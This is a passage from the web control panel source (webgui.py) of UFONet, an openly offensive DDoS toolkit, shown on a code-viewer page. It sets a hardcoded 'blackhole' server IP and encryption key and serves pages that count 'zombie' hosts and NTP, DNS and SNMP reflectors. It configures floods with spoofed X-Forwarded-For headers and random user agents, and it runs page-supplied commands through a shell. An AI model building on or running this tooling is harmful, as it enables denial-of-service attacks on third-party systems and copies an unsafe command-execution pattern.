webgui.py 485 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677567856795680568156825683568456855686568756885689569056915692569356945695569656975698569957005701570257035704570557065707570857095710571157125713571457155716571757185719572057215722572357245725572657275728572957305731573257335734573557365737573857395740574157425743574457455746574757485749575057515752575357545755575657575758575957605761576257635764576557665767576857695770577157725773577457755776577757785779578057815782578357845785578657875788578957905791579257935794579557965797579857995800580158025803580458055806580758085809581058115812581358145815581658175818581958205821582258235824582558265827582858295830583158325833583458355836583758385839584058415842584358445845584658475848584958505851585258535854585558565857585858595860586158625863586458655866586758685869587058715872587358745875587658775878587958805881588258835884588558865887588858895890589158925893589458955896589758985899590059015902590359045905590659075908590959105911591259135914591559165917591859195920592159225923592459255926592759285929593059315932593359345935593659375938593959405941594259435944594559465947594859495950595159525953595459555956595759585959596059615962596359645965596659675968596959705971597259735974597559765977597859795980598159825983598459855986598759885989599059915992599359945995599659975998599960006001600260036004600560066007600860096010601160126013601460156016601760186019602060216022602360246025602660276028602960306031603260336034603560366037603860396040604160426043604460456046604760486049605060516052605360546055605660576058605960606061606260636064606560666067606860696070607160726073607460756076607760786079608060816082608360846085608660876088608960906091609260936094609560966097609860996100610161026103610461056106610761086109611061116112611361146115611661176118611961206121612261236124612561266127612861296130613161326133613461356136613761386139614061416142614361446145614661476148614961506151615261536154615561566157615861596160616161626163616461656166616761686169617061716172617361746175617661776178617961806181618261836184618561866187618861896190619161926193619461956196619761986199620062016202620362046205620662076208620962106211621262136214621562166217621862196220622162226223622462256226622762286229623062316232623362346235623662376238623962406241624262436244624562466247624862496250625162526253625462556256625762586259626062616262626362646265626662676268626962706271627262736274627562766277627862796280628162826283628462856286628762886289629062916292629362946295629662976298629963006301630263036304630563066307630863096310631163126313631463156316631763186319632063216322632363246325632663276328632963306331633263336334633563366337633863396340634163426343634463456346634763486349635063516352635363546355635663576358635963606361636263636364636563666367636863696370637163726373637463756376637763786379638063816382638363846385638663876388638963906391639263936394639563966397639863996400640164026403640464056406640764086409641064116412641364146415641664176418641964206421642264236424642564266427642864296430643164326433643464356436643764386439644064416442644364446445644664476448644964506451645264536454645564566457645864596460646164626463646464656466646764686469647064716472647364746475647664776478647964806481648264836484648564866487648864896490649164926493649464956496649764986499650065016502650365046505650665076508650965106511651265136514651565166517651865196520652165226523652465256526652765286529653065316532653365346535653665376538653965406541654265436544654565466547654865496550655165526553655465556556655765586559656065616562656365646565656665676568656965706571657265736574657565766577657865796580658165826583658465856586658765886589659065916592659365946595659665976598659966006601660266036604660566066607660866096610661166126613661466156616661766186619662066216622662366246625662666276628662966306631663266336634663566366637663866396640664166426643664466456646664766486649665066516652665366546655665666576658665966606661666266636664666566666667666866696670667166726673667466756676667766786679668066816682668366846685668666876688668966906691669266936694669566966697669866996700670167026703670467056706670767086709671067116712671367146715671667176718671967206721672267236724672567266727672867296730673167326733673467356736673767386739674067416742674367446745674667476748674967506751675267536754675567566757675867596760676167626763676467656766676767686769677067716772677367746775677667776778677967806781678267836784678567866787678867896790679167926793679467956796679767986799680068016802680368046805680668076808680968106811681268136814681568166817681868196820682168226823682468256826682768286829683068316832683368346835683668376838683968406841684268436844684568466847684868496850685168526853685468556856685768586859686068616862686368646865686668676868686968706871687268736874687568766877687868796880688168826883688468856886688768886889689068916892689368946895689668976898689969006901690269036904690569066907690869096910691169126913691469156916691769186919692069216922692369246925692669276928692969306931693269336934693569366937693869396940694169426943694469456946694769486949695069516952695369546955695669576958695969606961696269636964696569666967696869696970697169726973697469756976697769786979698069816982698369846985698669876988698969906991699269936994699569966997699869997000700170027003700470057006700770087009701070117012701370147015701670177018701970207021702270237024702570267027702870297030703170327033703470357036703770387039704070417042704370447045704670477048704970507051705270537054705570567057705870597060706170627063706470657066706770687069707070717072707370747075707670777078707970807081708270837084708570867087708870897090709170927093709470957096709770987099710071017102710371047105710671077108710971107111711271137114711571167117711871197120712171227123712471257126712771287129713071317132713371347135713671377138713971407141714271437144714571467147714871497150715171527153715471557156715771587159716071617162716371647165716671677168716971707171717271737174717571767177717871797180718171827183718471857186718771887189719071917192719371947195719671977198719972007201720272037204720572067207720872097210721172127213721472157216721772187219722072217222722372247225722672277228722972307231723272337234723572367237723872397240724172427243724472457246724772487249725072517252725372547255725672577258725972607261726272637264726572667267726872697270727172727273727472757276727772787279728072817282728372847285728672877288728972907291729272937294729572967297729872997300730173027303730473057306730773087309731073117312731373147315731673177318731973207321732273237324732573267327732873297330733173327333733473357336733773387339734073417342734373447345734673477348734973507351735273537354735573567357735873597360736173627363736473657366736773687369737073717372737373747375737673777378737973807381738273837384738573867387738873897390739173927393739473957396739773987399740074017402740374047405740674077408740974107411741274137414741574167417741874197420742174227423742474257426742774287429743074317432743374347435743674377438743974407441744274437444744574467447744874497450745174527453745474557456745774587459746074617462746374647465746674677468746974707471747274737474747574767477747874797480748174827483748474857486748774887489749074917492749374947495749674977498749975007501750275037504750575067507750875097510751175127513751475157516751775187519752075217522752375247525752675277528752975307531753275337534753575367537753875397540754175427543754475457546754775487549755075517552755375547555755675577558755975607561756275637564756575667567756875697570757175727573757475757576757775787579758075817582758375847585758675877588758975907591759275937594759575967597759875997600760176027603760476057606760776087609761076117612761376147615761676177618761976207621762276237624762576267627762876297630763176327633763476357636763776387639764076417642764376447645764676477648764976507651765276537654765576567657765876597660766176627663766476657666766776687669767076717672767376747675767676777678767976807681768276837684768576867687768876897690769176927693769476957696769776987699770077017702770377047705770677077708770977107711771277137714771577167717771877197720772177227723772477257726772777287729773077317732773377347735773677377738773977407741774277437744774577467747774877497750775177527753775477557756775777587759776077617762776377647765776677677768776977707771777277737774777577767777777877797780778177827783778477857786778777887789779077917792779377947795779677977798779978007801780278037804780578067807780878097810781178127813
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2021 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Crypto.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '176.28.23.46' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://searchencrypt.com" # initial webpage for ship.browser [OK! 16/06/2021]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  35. blackhole_sep = "|" # blackhole stream separator
  36. board_msg_sep = "#!#" # board stream separator
  37. grid_msg_sep = "#?#" # grid stream seperator
  38. wargames_msg_sep = "#-#" # wargames stream seperator
  39. links_msg_sep = "#L#" # links stream separator
  40. streams_msg_sep = "#S#" # streams stream separator
  41. games_msg_sep = "#G#" # games stream separator
  42. globalnet_msg_sep = "#$#" # globalnet stream separator
  43. badkeys = [";", "/"] # some bad keys
  44. host = "0.0.0.0"
  45. port = 9999
  46. class ClientThread(threading.Thread):
  47. def __init__(self, ip, port, socket):
  48. threading.Thread.__init__(self)
  49. self.ip = ip
  50. self.port = port
  51. self.socket = socket
  52. self.pages = Pages()
  53. def run(self):
  54. req = self.socket.recv(2048)
  55. res = self.pages.get(req)
  56. if res is None:
  57. self.socket.close()
  58. return
  59. out = "HTTP/1.0 %s\r\n" % res["code"]
  60. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  61. out += "%s" % res["html"]
  62. try:
  63. self.socket.send(out.encode('utf-8'))
  64. except:
  65. self.socket.send(out)
  66. self.socket.close()
  67. if "run" in res and len(res["run"]):
  68. subprocess.Popen(res["run"], shell=True)
  69. class Pages():
  70. def file_len(self, fn):
  71. with open(fn) as f:
  72. for i, l in enumerate(f):
  73. pass
  74. return i + 1
  75. def html_army_map(self,target=None):
  76. try:
  77. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  78. except:
  79. target_js="not any zombie available\n\n"
  80. if target is not None:
  81. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  82. return self.pages["/header"] + """
  83. <link rel="stylesheet" href="/js/style.css" />
  84. <link rel="stylesheet" href="/js/ajaxmap.css" />
  85. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  86. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  87. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  88. <script src="/js/leaflet/leaflet.js"></script>
  89. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  90. <script src="/js/jquery-1.10.2.min.js"></script>
  91. <script src="/js/rlayer-src.js"></script>
  92. <script src="/js/raphael.js"></script>
  93. <script src="/js/ufo.js"></script>
  94. <script src="/js/ajax.js"></script>
  95. </head><body bgcolor="black" text="black">
  96. <div id="wrapper">
  97. <div id="map" style="width: 100%; height: 100%"></div>
  98. </div>
  99. <script type="text/javascript">
  100. window.onload = function(){
  101. """+target_js+"""
  102. }
  103. </script>
  104. <center>
  105. """ + self.pages["/footer"]
  106. def html_request_submit(self):
  107. return self.pages["/header"]+"""<script>
  108. window.setTimeout(window.close,1234)
  109. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  110. <center>settings updated"""+self.pages["/footer"]
  111. def html_requests(self):
  112. # read requests configuration file (json)
  113. try:
  114. with open(self.mothership_webcfg_file) as data_file:
  115. data = json.load(data_file)
  116. except:
  117. if os.path.exists(self.mothership_webcfg_file) == True:
  118. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  119. return
  120. else: # generate default requests configuration file
  121. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  122. with open(self.mothership_webcfg_file, "w") as f:
  123. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  124. # set values of requests configuration from json file to html form
  125. with open(self.mothership_webcfg_file) as data_file:
  126. data = json.load(data_file)
  127. self.agents = [] # generating available user-agents
  128. f = open(self.agents_file)
  129. agents = f.readlines()
  130. f.close()
  131. for agent in agents:
  132. self.agents.append(agent)
  133. self.user_agent = random.choice(self.agents).strip()
  134. self.rproxy = data["rproxy"]
  135. if self.rproxy == "NONE":
  136. self.rproxy = ""
  137. self.ruseragent = data["ruseragent"]
  138. if self.ruseragent == "RANDOM":
  139. self.ruseragent = self.user_agent # random user-agent
  140. self.rreferer = data["rreferer"]
  141. if self.rreferer == "RANDOM":
  142. self.rreferer = self.referer # random referer
  143. self.rhost = data["rhost"]
  144. if self.rhost == "NONE":
  145. self.rhost = ""
  146. self.rxforw = data["rxforw"]
  147. if self.rxforw == "on":
  148. self.rxforw_check = 'checked'
  149. else:
  150. self.rxforw_check = ''
  151. self.rxclient = data["rxclient"]
  152. if self.rxclient == "on":
  153. self.rxclient_check = 'checked'
  154. else:
  155. self.rxclient_check = ''
  156. self.rtimeout = data["rtimeout"]
  157. self.rretries = data["rretries"]
  158. self.rdelay = data["rdelay"]
  159. self.threads = data["threads"]
  160. self.rssl = data["rssl"]
  161. if self.rssl == "on":
  162. self.rssl_check = 'checked'
  163. else:
  164. self.rssl_check = ''
  165. return self.pages["/header"] + """
  166. <script language="javascript">
  167. function Requests() {
  168. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  169. }
  170. </script>
  171. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  172. <u>Configure requests:</u>
  173. <table cellpadding="2" cellspacing="2">
  174. <form method='GET'>
  175. <tr>
  176. <td> Use proxy server:</td>
  177. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  178. </tr>
  179. <tr>
  180. <td> Use another HTTP User-Agent header:</td>
  181. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  182. </tr>
  183. <tr>
  184. <td> Use another HTTP Referer header:</td>
  185. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  186. </tr>
  187. <tr>
  188. <td> Use another HTTP Host header:</td>
  189. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  190. </tr>
  191. <tr>
  192. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  193. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  194. </tr>
  195. <tr>
  196. <td> Set your HTTP X-Client-IP with random IP values:</td>
  197. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  198. </tr>
  199. <tr>
  200. <td> Select your timeout:</td>
  201. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  202. </tr>
  203. <tr>
  204. <td> Retries when the connection timeouts:</td>
  205. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  206. </tr>
  207. <tr>
  208. <td> Delay in seconds between each HTTP request:</td>
  209. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  210. </tr>
  211. <tr>
  212. <td> Number of threads:</td>
  213. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  214. </tr>
  215. <tr>
  216. <td> Force usage of SSL/HTTPS requests:</td>
  217. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  218. </tr>
  219. </table>
  220. <hr>
  221. <input type="hidden" name="update" value="1">
  222. <input type="submit" value="Set!" onclick="Requests()"></pre>
  223. </form>
  224. """ + self.pages["/footer"]
  225. def html_board_profile_submit(self):
  226. return self.pages["/header"]+"""<script>
  227. window.setTimeout(window.close,1234)
  228. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  229. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  230. def html_grid_profile_submit(self):
  231. return self.pages["/header"]+"""<script>
  232. window.setTimeout(window.close,1234)
  233. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  234. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  235. def profile_crew(self, icon):
  236. files = os.listdir("core/images/crew/")
  237. if icon == "NONE":
  238. icon = "link1"
  239. html_stream = ""
  240. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
